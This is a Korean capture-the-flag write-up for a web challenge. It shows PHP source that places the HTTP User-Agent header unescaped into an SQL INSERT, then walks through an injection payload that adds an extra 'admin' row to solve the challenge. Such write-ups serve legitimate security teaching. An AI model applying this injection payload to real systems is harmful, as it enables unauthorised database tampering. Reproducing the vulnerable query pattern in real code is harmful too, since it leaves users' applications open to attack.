1 // USER_AGENT와 아이피를 변수에 넣는다 중요!!!
2 $agent=trim(getenv("HTTP_USER_AGENT"));
3 $ip=$_SERVER['REMOTE_ADDR'];
4
5 //필터링 부분
6 if(preg_match("/from/i",$agent)){
7 echo("<br>Access Denied!<br><br>");
8 echo(htmlspecialchars($agent));
9 exit();
10 }
11
12 // USER_AGENT 로 db 조회한다
13 $result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
14 $ck = mysqli_fetch_array($result);
15
16 // admin 인지 확인하고 맞으면 해결
17 if($ck){
18 echo "hi <b>".htmlentities($ck[0])."</b><p>";
19 if($ck[0]=="admin"){
20 mysqli_query($db,"delete from chall8");
21 solve(8);
22 }
23 }
24
25 // 이번에 공격할 포인트!
26 if(!$ck){
27 $q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
28 echo("<br><br>done! ({$count_ck[0]}/70)");
29 }
23번 줄을 보면 $agent 와 $ip 를 db에 저장한다
$agent 는 1번줄에 설명했다
HTTP_USER_AGENT... 어디서 봤는가....
주로 버프를 사용할때 많이 봤을것이다
맞다 그 User-Agent를 db에 저장하는 것이다
User-Agent에 ' 하나만 넣어보자
혹시나 이해 안됐을까 자세한 설명을 한다
insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')
이게 db에 저장하는 쿼리문, 그리고
insert into chall8(agent,ip,id) values(''','{$ip}','guest')
우리가 User-Agent 에 넣은 '
우리는 쿼리를 조회하고 그게 admin이어야 하기에
admin을 넣어한다 하지만 어떻게..?
insert into chall8(agent,ip,id) values('shinobu','123','admin'),('sdfg','{$ip}','guest')
shinobu','123','admin'),('sdfg 이렇게 넣으면 값이 2개가 저장이 된다
User-Agent 값이 그대로 들어가기 때문에 조작을 할 수 있는것이다
$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
마지막으로 13번째 줄을 이용해서 데이터를 조회하면
문제가 풀린다